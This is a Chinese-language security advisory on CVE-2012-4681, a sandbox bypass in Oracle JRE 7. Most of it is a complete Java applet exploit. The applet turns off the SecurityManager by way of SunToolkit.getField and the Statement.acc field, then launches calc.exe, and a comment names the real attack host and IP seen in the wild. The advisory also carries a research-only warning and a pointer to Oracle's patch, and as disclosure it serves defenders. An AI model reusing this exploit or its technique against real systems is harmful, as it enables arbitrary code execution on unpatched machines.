Oracle JRE 7沙盒绕过远程代码执行漏洞[补丁]

发布日期：2012-08-27
更新日期：2012-09-01

受影响系统：
Oracle Java Runtime Environment  7.x
Oracle Java Runtime Environment  1.7.x
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55213
CVE ID: CVE-2012-4681

Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。

Oracle JRE  7 update 6 build 1.7.0_06-b24及之前版本在实现上存在远程代码执行漏洞，攻击者可利用一个恶意的java applet绕过Java沙盒限制并加载其他类在应用中执行任意代码。

<*来源：0-day
 
  链接：http://secunia.com/advisories/50133/
        http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

建议：
--------------------------------------------------------------------------------
厂商补丁：

Oracle
------
Oracle已经为此发布了一个安全公告（alert-cve-2012-4681-1835715）以及相应补丁:
alert-cve-2012-4681-1835715：Oracle Security Alert for CVE-2012-4681
链接：http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html